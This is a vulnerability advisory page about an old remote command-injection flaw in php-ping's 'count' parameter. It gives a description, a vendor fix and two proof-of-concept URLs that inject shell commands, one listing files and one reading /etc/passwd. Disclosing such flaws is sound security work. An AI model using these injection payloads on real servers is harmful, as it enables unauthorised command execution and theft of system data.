php-ping Count Parameter Command Execution Vulnerability

BID:9309

Info

php-ping Count Parameter Command Execution Vulnerability

Bugtraq ID: 9309
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Dec 29 2003 12:00AM
Updated: Dec 29 2003 12:00AM
Credit: The disclosure of this issue has been credited to ppp-design <[email protected]>.
Vulnerable: TheWorldsEnd.NET php-ping
Not Vulnerable:

Discussion

php-ping Count Parameter Command Execution Vulnerability

It has been reported that php-ping may be prone to a remote command execution vulnerability that may allow remote attackers to execute commands on vulnerable systems. The problem exists due to insufficient sanitization of shell
metacharacters via the 'count' parameter of php-ping.php script.

Exploitation would permit a remote attacker to execute arbitrary commands with the privileges of the web server hosting the vulnerable software.

Exploit / POC

php-ping Count Parameter Command Execution Vulnerability

The following proof of concept has been provided:

http://www.example.com/php-ping.php?count=1+%26+ls%20-l+%26&submit=Ping%21
http://www.example.com/php-ping.php?count=1+%26+cat%20/etc/passwd+%26&submit=Ping%21

Solution / Fix

php-ping Count Parameter Command Execution Vulnerability

Solution:
It has been reported that the latest version of the software is not prone to this issue. Users are advised to obtain the latest version from the vendor.

References

php-ping Count Parameter Command Execution Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report